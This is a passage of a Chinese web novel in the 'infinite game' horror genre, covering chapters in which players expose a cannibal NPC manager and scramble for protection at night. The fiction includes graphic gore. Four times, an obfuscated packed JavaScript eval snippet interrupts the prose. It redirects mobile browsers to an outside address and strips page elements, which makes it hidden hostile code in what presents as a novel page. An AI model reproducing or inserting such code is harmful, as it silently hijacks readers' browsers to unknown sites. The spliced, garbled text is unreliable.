孙覃知道得多一点,他经历了孟锦竹上回技能失控,那一次花了更多时间才稳定下来,“你觉得这次和上次有什么共同点?” 孟锦竹想了想,迟疑地说道:“感觉……副本都很难?” 林屿忽然想到一个问题,“上一回,是多久之前?” “唔,这里的时间比较乱,中间还进了副本,我有点记不清具体是多少天了,但……”孟锦竹的眼神暗了暗,“我记得是在小黑屋出事之后,第一次进副本那回。” 也就是言教授出事之后。 林屿感觉这其中似乎有一条隐隐的线把一切串联,但那个线索看不见摸不着,她甚至不知道自己有没有接触过。这些副本,这个世界,看上去超乎常理,却又并不高维,可所有人都被一股看不见的力量困在这里,甚至不知道要对付的是什么东西。 她把对世界的猜想放在一边,专注于眼下的困境,“接下来我们讨论一下NPC猎杀计划,在实施之前,还有一点我想弄明白。” 她把目光转向孟锦竹。 …… 下午三人依旧在镜子房间选择了体操,中规中矩地完成了每日运动规定,一小时不多,一小时不少,运动过后就去吃了个“早晚饭”,选了同一张桌子,依旧没有分开,这种时候傻子也知道三个人是一起的,不仅玩家看出来了,想必那些在监控之后窥视的NPC也看出来了。 抱团虽然听起来不好听,但是能有效降低外部威胁,对付一个人等于对付一个团体,敌人在动手之前一定会多掂量掂量。 她要的就是这个效果,一是孟锦竹之前差点遇险,他们不能让她落单,二就是她的直觉了,也许是因为走了一次暗道得罪了两个NPC,虽然他们没有看到模样,但她却感觉自己被盯上了,这种感觉没有来由,但她觉得什么也不做的话接下来自己会成为首要目标。 不过,即使处境不妙,那些NPC却没有抓到把柄,中午的暗道探险可以说是在午休,合情合理,而且不光是自己消失了一段时间,孟锦竹和孙覃也一样,这或多或少给她遮掩了一番。 在没有进入这个“游戏”之前,林屿一直觉得自己是个好人,但现在她却生出一股莫名的感觉,为什么自己能够这样冷静地计算同伴的价值?她喜欢这个团体,也喜欢种植者组织,同伴给她的感觉很安心,在一个副本这么多玩家不知道该信任谁的情况下,他们是少有的可以不假思索信任的人,稳定、安全、善意、尊重,并且纵容她去实践自己的突发奇想,这是自己渴望已久的集体氛围,然而她却无法报以同等的真诚,她想起自己先前的话。 “晚上经理会从床下出现,袭击睡着的玩家,所以夜里我们不能睡觉,一旦听到什么响动,立刻从床下暗道过去,现在我先去把你们床下的开关打开,这样你们可以随时下去。” “我不能确定他选人的规律,或许到了今晚我们都会满足滞留条件,他选谁都可以。” 她说谎了,她其实知道钱刚才是最大可能被选择的人,她自己也有可能,而她在想方设法降低自己被选中的概率。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495292|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “昨天我看见厨师给经理送饭,只不过不知道送的是什么,虽然第一天经理来食堂和我们一起吃了一顿,但后面没有来过,董事长从头到尾都没有来过,里面或许有什么缘由,我担心会影响到计划。” “这件事情只有你能做到,但我不知道你现在的情况怎么样,答应的话可能会承受一定风险,让技能失控恶化。” 林屿知道后果,但她还是讲出来了,和她的犹豫相反,孟锦竹一秒不到就答应下来,“我相信你们,其实一直以来我都是拖后腿的那一个,没发挥到什么作用,好不容易可以帮到什么,我一定要好好干了这票!” 其实在进副本之前,她对孟锦竹只有模模糊糊的印象,她不擅长认人,还常常觉得自己是个脸盲,而现在孟锦竹在记忆里的形象却逐渐清晰起来,她回忆起之前小组作业几人唯一一次会面讨论,孟锦竹很健谈,眉眼里都是大方自信,和在副本里的小心翼翼、愁容忧虑模样截然相反。 即使伪装得再无害,这里所有的感受都是真实的,每一次死亡经历也是真实的,所有身在其中的人都经历着副本的恐惧、食物短缺的饥饿以及两者之上的生存压力。 “监控不用担心,经理只有餐厅的监控,其它的都是董事长布置的,我不觉得他会告密。”林屿说道,这点在她看完两人电脑之后就明白了,经理只布置了必要的地方,而不像董事长那个控制狂到处安。” 林屿回过神,手上的动作也停下,她从衣柜中翻出一套合适的衣裤,递给孟锦竹,“我去一楼大厅守着,留意纸条。” “好!”孟锦竹用力点头。 …… 厨师今天很忙,他不仅要负责玩家一日三餐,还必须按分量分到每个取餐盘里,但这些工作做久了也不会觉得复杂,只是琐碎无聊,重复地洗餐盘、洗锅、洗碗,重复地去皮、剁泥、加料,每当厨房整洁一点,下一轮收餐之后又堆满了残渣汤水。 他的清洁成果每次都会被新一轮的杂乱肮脏所覆盖,就像是永远都在重复出现的bug,不给人任何休息时间,他的心里逐渐滋生出烦躁,滋生厌烦和抗拒,可隐约地,他觉得自己的厌烦和抗拒是不被允许的,因为他是厨师,他怎么能厌烦自己的工作呢? 他不仅需要做好本职工作,还得听从上级的命令,上面要求他必须精准按量分餐,他听从了,上面要求他在所有食材里加料,他听从了——甚至会把鸡蛋泡在加了料的水里,上面给他额外的东西处理,他听从了,并且听从了不许告诉任何人的威胁,隐秘地为他做事,这也是他今天很忙的原因。 但他却很喜欢这些“额外”的要求,这让他的生活变得不是那么无聊,有谁知道,日复一日的重复让他快要发疯,他不知道自己以前为什么会忍受这么久,但从不久前的某一天,他就快无法忍受这样的烦躁了,直到董事长给他拿了一团灰白的东西,让他均匀地加在食物里。 这就像一个良好的开头,之后经理也会来找他,让他负责他的餐食,全新的食材大大激活了他的灵感,他就像一个活过来的人,能够发挥自己的创造力,任意挥撒自己的才华,而每一次,经理都会大家夸赞,他喜欢听这些夸赞,这给琐碎的生活带来的动力。 现在,他已经烹饪好,正要给经理送去。像往常一样,他端着盘子往楼上走。 51. 第五十一章 厨师走到三楼,就看见经理迎面走来,他还是和平时一样穿得很随意,上身下身都是白色简装,头顶的秃发也不打理,居高临下地站在楼梯口看着他,拦在他上楼的最后一级楼梯前方。厨师一时有些呆愣。一直以来经理都是在办公室等着他送餐,现在的情况让他摸不清头脑。 经理和蔼地开口道:“直接给我吧。”说完就这样直接看着他。 厨师犹豫了一下,今天的经理似乎和以前有些不一样,但一时间他又说不出哪里不一样。他想不清楚,也没有理由违抗经理,于是双手递出了方才护在怀里的餐盘。 经理接过去,目送他下楼。 厨师回到厨房,在他离开之前已经把这里清理得很干净,他喜欢整洁,不喜欢到处都是残渣的环境,他打开冷柜,董事长和经理两人提供的食材都码放在里面,经理的东西很占地方,被放在最下面,董事长的时刻需要用到并且体积不大,因此被放在上层。 只不过最上层原本包装好的黑口袋不知为什么破了一个口子,厨师换包装的时候忽然想明白了刚才为什么觉得经理奇怪,因为他这回没有露出期待的表情,也没有夸赞他的厨艺。 厨师离开之后,“经理”从队友手中接过厨师帽,在敲响办公室的门之前,孟锦竹的脸变成了厨师的脸,身材也随之膨胀,现在她的模样乍眼看上去和厨师非常接近,唯一有区别的就是衣服。 不过衣服其实也和厨师服有八分相似,她先前的休闲装与其说是模仿经理的穿衣风格,不如说是模仿厨师服的颜色,是林屿好不容易在衣柜里挑出来的。 孟锦竹仍然有些紧张,她才敲了两下,门就打开了,和之前她来找人敲八百遍没回应的时候完全相反,弄得她有点猝不及防。 她深吸气,努力平复紧张的心跳,林屿说过技能暴露在监控之下不要紧,只要不违规,董事长就不会在意玩家和其他NPC的矛盾,她只需要在揭开盖子的时候顺理成章地看一眼里面的东西,就能原路返回了。 不过她仍然牢记队友的话,将餐盘端在正前方,最大限度遮挡住自己,经理眼前呈现的就是一个放大的餐盘,他的注意力果然被吸引过去,几乎是垂涎欲滴地看着盘子,一分一毫也没有注意到端盘子人的衣着,催促道:“怎么还不打开?” 孟锦竹在心里做了很多遍模拟,此时她放下餐盘,掀开了一直牢牢盖在上面的金属罩子,在这个过程中,手指无可避免地微微发抖,心跳加速,不知道接下来会看到什么东西。莫名地,她又想起了林屿说的那个吃人城堡的故事,然后对上了一双□□的、死不瞑目的眼睛。 孟锦竹一瞬间血压飙升,心跳如擂鼓,她的喉咙里无法抑制地生出一声惊呼,却被硬生生地从中截断,只余下一个含糊的音节。 然而声音可以被控制,但好不容易控制住的技能却再次失控,短短几秒钟她就无法抑制地变了三次脸。 她送来的餐盘里,摆放着先前遇害的男玩家被煮熟的人头。他嘴巴大张,里面塞满了大葱和蒜瓣,头发已经被烫去,棕色的酱汁从头顶浇下,流淌过眼珠、鼻翼、下巴,在雪白的餐盘里蓄积成一片。 人头有些偏离餐盘正中,大概是因为先前厨师捡帽子那会儿不小心,漂亮的浇汁被蹭乱了,一些糊在脸上,而脸皮已经被煮得松软变形。 孟锦竹闻到了一股洋葱味,本该是提振食欲的味道,她却差点当场吐出来,生理上被勾起的饥饿感和本能的恶心相互交杂抵抗,让她无比反胃,恨不得将盘子给掀了,把这个NPC碎尸万段。 可她不能,现在动手,胜率太小了,最有可能发生的事是自己成为这个盘子里的下一颗头。 她握紧了拳头,无法控制地快速变换着形象,技能失控因为情绪激荡而加剧,现在不只是头部,整个身体都忍不住想要改变了。而改变是要消耗精神的,被经理发现已经是其次,她现在感觉力气在被一丝一丝抽走,脑内昏昏沉沉,一阵刺痛扎刺头皮,再这样失控下去,她能不能挪动脚步走到门口已经是个问题。 所幸在这一刻,经理已经被他的大餐吸引住了全部目光,没有分神给“厨师”,甚至都没有注意到“厨师”衣服和平常有些不一样,他拿起餐盘内配送的刀叉,思考从哪里开始享用。 “厨师”还站在旁边,于是经理随口一问:“真不错,这回你是怎么做的?” 孟锦竹的脑袋早就变成了别人,没办法开口,开口就是别人的声音,更何况她现在精神消耗过度,已经没办法快速反应过来回答问题了。 没有听到回答,这时经理终于施舍了一点余光给“厨师”,从他的视角,只看到一角白色的衣裤,乍一看和之前没有区别,但他离得近,因此发现了不对,他的衣服并不是一直穿在身上的厨师服,而是休闲服。 经理慢慢地抬头,从“厨师”腰间往上瞄。 孟锦竹看到了经理的动作,她努力地变回厨师的模样,然而这已经是她最后做出的努力,变回去之后,她根本忍不住继续变化的冲动。 忽然间,一股冷流浇入大脑。 经理看向“厨师”的脸,“你怎么换了身衣服?” “脏了,还没洗。”孟锦竹借由外力勉力维持着形象不变,努力让声线平稳,“不好穿脏衣服过来,就另外找了一件。” 听起来没什么问题,经理道:“刚才你还没回答,这回是怎么做的这道菜?” 孟锦竹的目光艰难地移动到餐盘内容上,看到头的一瞬间又是一阵情绪波动,差点她就忍不住变脸了,她忍着变脸的冲动和反胃的感觉打量着盘子,顶着经理怀疑打量的目光回答:“白灼酱汁,事先腌制了一会儿,去腥味。” 她努力把盘子里的人头当初烧鸡,逼迫自己看清细节,这句话回答得分外痛苦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495293|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 经理眼白暗黄,布满细小血丝,看人的时候透出几分阴邪诡异,被打量的人会有种不舒服的感觉。 孟锦竹快要被这阵沉默弄得窒息,心中的天平摇摆不定,一会儿觉得自己的回答和动作毫无破绽,一会儿觉得经理已经发现自己了,即使有队友在平衡自己的情绪,她也快忍不住变脸了。 “咚咚咚。”三声敲门声。 经理没有动,孟锦竹却像是看到了希望,说道:“我去开门。” 林屿站在门外,不好意思地对经理说道:“那个,我肚子饿了,但是餐厅没有吃的,想问什么时候开饭?” 经理的眼睛在两人身上转了一圈,最后说道:“去吧,别忘了你的工作。” 孟锦竹如临大赦,面上却勉力维持平静,大步离开了办公室。在她出门的瞬间,林屿立刻把门一关,扯着人快速地走到三楼的另一边,对着三扇并排的房门中最里面一扇伸出腿狠狠一踹,带人迅速闪身进去。 关门,落锁,一气呵成。 孟锦竹骤然被拉进了一个陌生房间,脑袋变换了好几回,她看见林屿关上房门以后就做贼一般掀起走廊窗帘的一角,简直就像是做坏事怕被发现的模样。 在这个陌生的房间,孟锦竹十分没有安全感,这里是三楼,两个危险NPC的办公室就在走廊另一头,为什么不先回玩家房间呢? “你这是……” 她刚说几个字,林屿就回头对她比了个“嘘”,压低声音道:“厨师上楼了。” 就在方才,林屿不放心队友,于是在二楼看见厨师离开之后来到办公室门口,利用自己的技能给孟锦竹“清醒头脑”,然而过了好几分钟,孟锦竹都没有出来,如果只是送一道菜,时间就有些久了,正好这时纸条上多了一行消息:厨师在上楼。 林屿知道时间刻不容缓,也管不了暴露不暴露的问题,连忙用了个借口把队友捞出来,然后躲到了原本属于贺望的房间。反正他已经强闯自己房间好多回了,征用一次他的房间完全没有心理负担。 孟锦竹听到这句话忍不住一惊,那岂不是她们要露馅了?她连忙凑到窗帘边上,和林屿挤着脑袋往走廊上看。 厨师的身影出现在三楼,他肥大的身影很快就来到了经理办公室门口。 “怎么办?我们要暴露了?怎么办?他们会不会一起出来追杀我们?”孟锦竹显然非常紧张,她现在已经因为技能消耗没有力气逃跑了。如果他们真的要动手,那她一定会完蛋的! 林屿捏着传信纸,手心冒汗,一眨不眨盯着厨师的动作。他已经抬起手,就要敲下房门。 厨师不一定明白他们的小动作,但只要经理见到原装厨师的装束,一定会发现他们刚才的动作。 孙覃那边还没好吗? 忽然间,厨师的手悬在半空,他一寸一寸转头,看见了背后叫住他的人。 52. 第五十二章 □□喊住厨师,“餐厅有人投诉,你去处理一下。” 厨师正要敲门的手就这样落不下去了,他缓慢地,一点也不情愿地扭过头,沉沉地盯着□□,“投诉?那不是你在负责吗?” “投诉菜品不够,这是你负责的部分。”□□公事公办道。 说实话,他接待过这么多回玩家,还是第一次遇到这种投诉,发现菜品里的手脚不是难事,在这之后就没有人愿意多吃一点东西了,更不会投诉其中的品类,厨师在后期也会削减供应分量和种类,总之这是一件没有人在意的小事。 但无论是什么样的小事,他们的职责都要求他们处理好这些问题。 厨师就在经理办公室门前,只差一点,他就可以敲开门,看看自己的餐盘究竟有没有送到他手中,明白自己先前遇到的“经理”究竟是不是本人,但是,“厨师”的身份是他存在的意义,他必须优先处理自己职责之内的事。 他板着脸,一步一步走下楼梯。 □□看着他的背影,也准备下楼,然而董事长的办公室突然打开了,一个没什么感情的声音命令道: “进来。” …… 林屿在□□走进董事长办公室后就拉着孟锦竹迅速离开了三楼,回到二楼的房间后过了一会儿,孙覃现身,与两人会和。 在厨师第一回上楼的时候,他们三人就已经开始了分头行动,林屿在楼道扰乱厨师,率先尝试拿到餐盘,孟锦竹在楼上伪装成经理等待厨师到来,而孙覃则趁机去厨房翻找,试图找到有关食物加料的线索。 因为本身就在一楼,因此厨师回到厨房第二次上楼也是他第一个发现的,林屿在收到这条消息之后立刻做出了应变,让他在餐厅投诉,想方设法把厨师喊回去,而且要快,立刻。 否则,等厨师敲开门之后,他们所做的一切都会暴露。 本来计划进展顺利,他们当然设想过经理的反应,也为此设计了一些理由,但是谁也没有想到无人在意的厨师竟然会成为那个变量。 投诉的第一手处理人是□□,这个NPC一如既往十分称职,但是他不可能照玩家期待的那样立刻飞上去叫住厨师,谁也不知道是厨师的手先落下,还是□□会先叫回他。 所幸,这一回他们的所作所为没有暴露在经理眼中。 接下来要做的就是等待夜晚的到来,等待……第一声惨叫的响起。 林屿并没有把推测告诉他们,只是说经理会随机选择目标,但她知道,今晚最有可能被选中的人是钱刚。 她看着衣柜里的耳朵,毕竟,其他人还不一定完全无法离开。 …… 接近“熄灯”时间,田子阳斜倚在健身房的门框上,一副心不在焉的模样,他有一搭没一搭地用两根手指弹着衣服上的链子,听它们一声声的脆响。 钱刚每天都忙碌于自己的“惩罚”中,每餐加量,运动加倍,在目睹同伴肖昌盛的惨死之后,他成为了最遵守规则的玩家,从一开始的副本刺头变成了一个像是真正来减重的人,每天除了在食堂吃饭就是在健身房运动,他努力弥补着自己的“欠账”,以期待能被董事长放过,和其他玩家站在同一起跑线。 田子阳和他是死对头,他加入玩家公会只是不想被束缚,而那里恰好是一个规则很宽松的地方,但钱刚是为了获得更多。在失去了现实中的身份、财富和资源之后,许多人都有一种巨大的虚幻感,一些人开始变本加厉地剥削他人,为自己积累“游戏世界”的资源和优势,钱刚是主动投身其中的一个。 他们之间的梁子说来话长,一开始是钱刚抢夺了他在公会里的份额,他自然报复回去,然后两人各种明争暗斗,起先是他占上风,虽然钱刚技能还算可以,但他的脑子不如他,但最后却是他受辱落败,因为钱刚抱上一条好大腿。 田子阳想起钱刚的“大腿”,暗自啧声,虽然不想承认,但那个人的技能在游戏中简直无敌开挂,原会长销声匿迹已久,现在是她掌握着公会的资源。 如果还有什么人能够活到最后或者离开游戏回到现实,田子阳觉得一定是她。 马上就到玩家必须回房间的时间了,钱刚从跑步机上下来,面无表情地从他面前经过,门框狭窄,田子阳的手臂被重重撞了一下,差点带得整个人重心不稳。 他不悦地眯起了眼。 钱刚一点道歉的意思也没有,今天的空房间足够多,他不需要再低声下气求田子阳开门,因此也抛去了勉强和谐的表面功夫,他不朝死对头动手已经是昨晚他放自己进门的感谢了。 “喂。” 田子阳叫住他。 钱刚没有理他。 “你今晚死定了。” 田子阳在他背后说道,说完还愉悦地吹了声口哨。 钱刚脚步一顿,随后转过身,恶狠狠地瞪着他,“你想死吗?” 田子阳抱着手臂,一脸无谓地说道:“我不想,但是你就要死了。” 钱刚听出了一些别的意味,阴晴不定的目光在他身上来回扫视,半晌,一声嗤笑,“所以,你就来提醒我吗,那么好心?” “我不光来提醒你,还可以告诉你解决办法。”田子阳打了个响指,“只要你对你过去的所作所为道歉。” “哈?”钱刚像是突然听到了什么笑话,一脸不可置信,“给你道歉?你莫不是在做梦吧!” “你之前对我做了什么不会不记得吧?趁我积分不够的时候半夜剥光丢在大街上,让我裸奔到人最多的白塔之下进本,我的一世清誉就这么被你毁了。” 钱刚讥讽道:“还一世清誉,你就是个卖屁股的gay佬,谈什么一世清誉笑死人了,你有这个东西吗?” “都说了我不是gay,怎么一个二个都不信呢?我还是个处男,被这样打击可是会自闭的。”田子阳又弹了弹衣服上的链子,看这副模样任谁也不会觉得他在认真说话。 回答他的是钱刚的一声嗤笑。 “那就没办法了,你等死吧,今晚你一定是被袭击的那个人。”田子阳放下手臂,耸了耸肩,一脸遗憾的模样,他不再多说什么,抬脚离开。 “等等!” 他已经走到大厅,正要去楼梯口,钱刚突然从背后叫住他。 “你真的知道解决办法?” 实际上,钱刚也不是傻子,目前遇害的全部是第一天带头违规的人,现在其他三个都死了,只剩下他自己,就算用排除法也知道下一个该轮到他了,因此田子阳最开始说他要死的时候他以为是来看笑话的,本来不想理会,现在看来这个人似乎真的发现了什么,所以来和他做交易来了。 “知道,千真万确。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495294|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 钱刚定了定神,咬牙道:“如果是假的,之后你就死定了!” 田子阳好整以暇地看着他,“当然不会是假的,你准备好怎么道歉了吗?太轻易我可是不会被打动的哦。” 钱刚咬紧牙关,双颊一鼓一鼓,太阳穴上凸起青筋,似乎在竭力忍耐什么,仿佛下一秒就要对这个得寸进尺的要求破口大骂。 “时间不多了。”田子阳说道,“我不会因为等你做思想准备错过熄灯时间。” 时间确实不多了,现在还在外面的玩家只剩下他们两个,甚至连NPC都看不见影子。 田子阳觉得他大概是低不下这个脸,有些遗憾地准备离开,忽然间,他听见了细如蚊蚋的声音。 “对不起。” 钱刚的眼睛盯着地面,仿佛地上有什么吸引他的东西。 “什么?”田子阳掏掏耳朵,“你刚才说话了吗?” “对不起,我错了。”钱刚大声了一点,他的眼睛依然没有看人。 田子阳笑了,“我说兄弟,你是做了什么对不起地板的事吗?道歉不看人的?” 钱刚豁出去了,他抬起头,对着田子阳大声喊道:“对不起!我不该那样对你的!我错了!” 说完这句他再也忍不下去了,虎视眈眈地盯着田子阳,拳头已经握紧了。 田子阳心知自己再逼下去他真的就会翻脸,自己的目的也就泡汤,见好就收,终于遂了他的意,“晚上NPC的客房服务不是为了害玩家,而是为了保护玩家,用运动时间可以交换他留下来。” …… 夜里,林屿还是住着自己原本破破烂烂的房间,门窗的锁坏了,因此用厚胶带沿着缝隙贴了一圈,勉强增加了一些摩擦力,至少有人进来的时候会发出刺耳的响声,给里面的人提个醒。 她今晚没有睡床,孟锦竹和孙覃那边也是一样,究其原因是经理会根据床上的重量来区分玩家睡的哪张床,进而确定目标的房间,虽然白天没有被经理抓到现行,但三人还是做贼心虚,啊不,以防万一地避免自己被定位。 林屿把断耳摆在显眼的位置,在心里计算着零点。 盯了一会儿,她开始心不在焉,孙覃从厨房带回来的消息与孟锦竹在餐盘里看到的人头可以吻合,他说冷柜里有一些长条状的冻货,疑似人的肢体,而上层一个单独裹好放置的黑色口袋里装着脑花,足以证明这里的NPC以食人为乐,他们蒙蔽副本的规则,扭曲了原本的秩序,就是为了满足自己变态的乐趣。 也因此证明他们的选择是正确的,杀死这里的NPC,不然会有一批又一批的玩家一无所知地进入这里,死不瞑目。 一切缘由都清楚明白,但她总觉得有哪里不对劲。 如果是这样,那究竟是谁在食物里做下的手脚,真的是经理吗?他从上到下操控了一切?为什么最后沦落到需要“偷猎”的地步。 如果不是他,是董事长,他又抱着什么目的呢?至少他从未在食堂出现过一次,也没有让厨师送过什么东西。如果他一直都是偷偷摸摸地吃,那林屿无话可说,但他给她的印象不是会这样做的人。 忽然间,走廊里有脚步传来,林屿精神一振。 □□才刚刚走近,就听见有人在叫自己的名字。 “我要点客房服务!”钱刚大声喊道。 53. 第五十三章 □□还没有反应,林屿听到这句话眼皮就是一跳,她定了定神,眯着眼睛看向旁边房间。 视线里只有一堵墙壁,但她似乎透过墙壁看到了和自己一墙之隔的田子阳。她一下子就意识到是怎么回事了。 是田子阳告诉他的。 在感到不悦之前,率先占据心灵的是一股不解,他为什么这么做?明明他之前非常配合,甚至还主动示好过,林屿考虑过他会泄露消息,但也认为可能性不大,他和钱刚之间还有私怨,没什么合作可能性。 现在的情况是,□□很可能会留在钱刚的房间,这样一来,今晚经理会选谁的房间就知道了,原本内定的嘉宾下场,于是游戏变成了真正的盲盒,除了钱刚,所有人都是危险的。 但是,等待第一声惨叫或者呼救的计划没有改变,为了不让其他人睡熟,林屿已经和钱刚以外的人通过气,丢掉了那些催眠的固体香薰,并告诉他们床下的危险,因此即使钱刚破了局,也不会影响到他们的计划。 只不过本该是最危险的人成为了最安全的人,林屿非常不愿意看到这种情况,她可以竭尽全力地寻找破局的办法,可以尽己所能帮助其他玩家,除了钱刚,她不会原谅几次三番陷自己于险境的人,尤其是对方完全出于主观恶意。 如果在现实世界,她会忍让,低头认栽,她承担不起事故或者矛盾,因为她的两个家长一定会逼迫她道歉,无论是谁的过错,每一回都是如此。 她的父母承受不了她变成“坏孩子”。 但在这个直面死亡的世界,不再受到原有社会关系的束缚,她可以做自己想做的一切,像很多玩家一样……只要能够承担后果,如果说她内心没有想过如何施行报复的话,那是假的。 没有直接动手的原因,除了不想让自己在NPC眼里成为靶子之外,还有一点,那就是她心里还竖着那道文明世界构筑的底线,对持凶器伤人什么的心有抵触。 毕竟钱刚和NPC不同,他是玩家,在某种程度上,林屿觉得所有玩家都是受害者。 林屿从窗户看见□□已经越过第一个房间,而钱刚就在第三个房间,她必须想清楚要不要阻止钱刚获得庇护,就在这短短几步之遥。 三步。□□走到了第二个房间。 或许她也可以叫“客房服务”,但多了这个NPC,她还能下暗道参与今晚的计划吗?孟锦竹因为技能原因被两人安排留守待机,如果自己不加入,相当于让孙覃单挑经理这个危险NPC,这和直接献祭队友有什么区别? 当然,她的武力值也不高,但是她的技能敏捷性高,很适合打辅助,关键时刻还能用板砖或者椅子砸人什么的,也不算没用对吧。 两步。□□目不斜视,已经走过了第二个房间,他只剩下两步就能走进钱刚的房间,接受他的“运动时间”,让他成为今晚最安全的人。 如果说他这两天的双倍运动是惩罚的话,那么现在那些惩罚统统变成了保命的本钱,至今还活着的玩家之中,也只有他有多余的“运动时间”可以支付。 一步。□□已经走到了第三个房间的窗户位置。这回他根本没有像上次一样,从第一个房间开始挨个询问,直接就往里走,看样子只要有人叫服务他就会去。 他只剩下一步就会走到钱刚门口,林屿已经听见开门的声音,是钱刚在主动迎接保镖NPC的到来。 林屿的手指攥紧了,在这种情况下,计划的执行和队友的安危应该被率先考虑,但是,她心里有一股强烈的不甘,真的要这个人安然无恙,坐收自己三人冒着生命危险刺杀NPC的渔利吗?之后他们无论成功或是失败都将成为整个副本针对的对象,之后最恐怖的董事长必然会做出行动,无论他们有没有和他作对的心思,开弓没有回头箭。 在越来越危险的处境之下,真的要放任钱刚这个不安定的因素隔岸观火吗? 钱刚看着越来越近的NPC,嘴角笑容越咧越大,他刚刚听到田子阳说的事还不太相信,但是回到房间之后,却是越想越觉得如此,要不然那个女人为什么今天还可恶地蹦跶?要知道昨晚这个NPC可是进了她的房间。 说明这件事根本没有危险,就像田子阳说的那样,是给玩家的福利,只不过胆小鬼都不敢开门,蹭不上这块蛋糕,那自然是给他来享用了。白天担惊受怕一整天,晚上终于轮到他来看戏了。 □□走到门口,钱刚让出位置,脸上得意洋洋,心里已经想好明天怎么打击其他人了,这时,另一道声音清晰地传进每一个人的耳朵。 “我也要点客房服务。” 刚刚走到门口的NPC目不斜视地绕过了他大开的房门,径直往走廊深处走去。 钱刚的笑僵在脸上。 “怎么回事,不是我先喊的吗!”愣了几秒,钱刚反应过来大声喊道,试图把□□叫回来。但□□却像没有听到一样,走进了林屿的房间。 关门,象征性地做了个落锁的动作——锁是坏的,但她不太想让□□发现这一点。 林屿转身面对□□,她已经想清楚了,为什么不能在不影响今晚行动的前提下破坏钱刚的打算呢? “你要点客房服务?”□□照例问了一句。 “是的。”林屿冷静地回答,一双眼睛打量着这个NPC,说起来,所有玩家来到这里遇到的第一个就是他。他是和玩家冲突最多的,却又是最不危险的。 □□没什么表情,也没什么动作,直挺挺地杵在那儿,就像是一根柱子,似乎要在这里站到明天早上。 林屿眯了眯眼,“你怎么选了我?不是还有人在叫服务吗?” 他既没有让两人协商,也没有按照优先顺序,难道真想提供那种服务?林屿为自己的想法恶寒了一下,虽然喜欢玩乙游,但她可没兴趣和NPC发展什么奇怪的关系。 那什么,游戏是游戏,现实是现实,现实中她一个男朋友也不想谈,人进了“游戏世界”,游戏就变成了现实。 他也不是那样的NPC,林屿纠正自己偏到八百里的想法,一定有什么别的原因。 “我可以问为什么吗?” □□依旧没有说话,这时他注意到了林屿放在桌上的断耳,但只看了一眼,他就移开了目光,终于开口道:“这是规定。” 规定?什么规定这么离谱,让一个男子义不容辞地选择女士房间啊? 林屿像是妥协般叹了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495295|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“好吧,我不问了,只要你能留下来就行,毕竟昨晚发生的事很吓人,我非常担心自己成为下一个,你坐吧,这样站着我睡不着觉。” 她指了指床。 □□想了想,依言坐下。 “你睡这里吧,我去关灯。”她看□□没有动作,补充道,“你坐着像床上起了个僵尸,很吓人的,躺着,不然我睡不着宁愿把你丢出去。” 看着□□躺下,林屿关了灯,走到另一张床边,忽然,她像是想起什么,又走过去问道:“你好像还没问今晚我要兑换多久时间呢。” “你想兑换多久?”□□问道。 “一整晚。” “一整晚?”他没想到听见这个回答,正要开口,却突然被堵住了声音,一层不算特别柔软的布料劈头盖脸压下,把他的眼耳口鼻都捂在里面,狠狠地压走了空气。 “你一整晚都躺在这里吧!” □□起先没有反应过来什么情况,随后他开始挣扎,两只手去掀枕头,但林屿把一半的重量都压了上去,他没能成功,只好抓住她的手臂,想要扯开她的桎梏。 她是方才突然想明白的,即使没有钱刚,□□也会直接到自己这里来,先前他根本没有想过要问兑换的时间,和昨晚的表现完全不一样,这一回,他目的明确,就是自己。她相信即使自己不兑换,他也会留下来。 是什么让他今晚不按常理出牌?换句话说,是谁让他夜里进入玩家房间,保护玩家不受经理伤害的同时也迫使玩家白天加量运动? 董事长。□□听从董事长的命令,才有了夜里敲门的行为。 那么今晚,他同样是听从了董事长的命令来自己房间,林屿不觉得自己有那个荣幸能得到“保护”,那就只可能是自己白天的出格行为让他不悦了,所以,他是要保证自己成为他的猎物,而不是莫名其妙被偷猎了去。 